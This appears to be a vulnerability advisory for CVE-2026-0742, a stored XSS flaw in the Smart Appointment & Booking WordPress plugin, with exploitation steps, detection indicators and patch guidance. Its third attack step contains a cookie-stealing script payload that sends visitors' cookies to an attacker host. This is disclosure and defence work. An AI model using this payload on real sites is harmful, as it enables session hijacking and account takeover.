CVE-2026-0742: 
WordPress vulnerability analysis and mitigation

CVE-2026-0742 is a Stored Cross-Site Scripting (XSS) vulnerability in the Smart Appointment & Booking plugin for WordPress, affecting all versions up to and including 1.0.7. The flaw exists in the saab_save_form_data AJAX action due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on February 4, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize user-supplied input or escape output in the saab_save_form_data AJAX handler. Specifically, vulnerable code paths exist in both inc/admin/class.saab.admin.action.php (line 1203) and inc/front/class.saab.front.action.php (line 2189). An authenticated attacker with Subscriber-level access or higher can submit a crafted AJAX request containing malicious JavaScript, which is then stored in the database and rendered unsanitized to any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of site administrators' accounts. Confidentiality and integrity are both impacted (low severity each per CVSS), while availability is not directly affected (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-0742. The EPSS score is approximately 0.036%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Subscriber-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Smart Appointment & Booking plugin version 1.0.7 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or obtain credentials for a Subscriber-level (or higher) WordPress account on the target site.
3. Craft malicious AJAX request: Authenticate and send a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to saab_save_form_data, including a malicious payload in a user-supplied attribute field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Payload stored: The plugin stores the unsanitized input in the database without proper escaping.
5. Trigger execution: When any user (including administrators) visits a page that renders the injected form data, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Network: Unusual POST requests to /wp-admin/admin-ajax.php with action=saab_save_form_data containing HTML/JavaScript tags or encoded script payloads in form data fields.
• Logs: WordPress access logs showing repeated AJAX calls to admin-ajax.php from low-privilege user accounts with suspicious payload content; error logs indicating unexpected output escaping failures.
• File System / Database: Database entries in WordPress tables associated with the Smart Appointment & Booking plugin containing <script>, javascript:, or event handler attributes (e.g., onerror, onload) in stored form data.
• Browser/User Reports: Site visitors reporting unexpected redirects, pop-ups, or browser security warnings when accessing booking-related pages.

Site administrators should update the Smart Appointment & Booking plugin to version 1.0.8 or later, which addresses the insufficient sanitization and output escaping issues. The patch was introduced in changeset 3450387 of the plugin repository. Until an update can be applied, consider disabling the plugin or restricting Subscriber-level registration on the affected WordPress site. Regularly audit user accounts with Subscriber access and monitor AJAX endpoints for anomalous activity (Wordfence, WordPress Trac Changeset).

Wordfence disclosed and assigned this CVE as part of their weekly WordPress vulnerability report for the period of February 2–8, 2026, noting the patch availability in version 1.0.8 (Wordfence Weekly Report). The vulnerability was also tracked by INCIBE-CERT and CCN-CERT (Spanish national cybersecurity agencies), reflecting standard advisory dissemination. No significant independent researcher commentary or broader media coverage has been identified beyond routine vulnerability aggregation.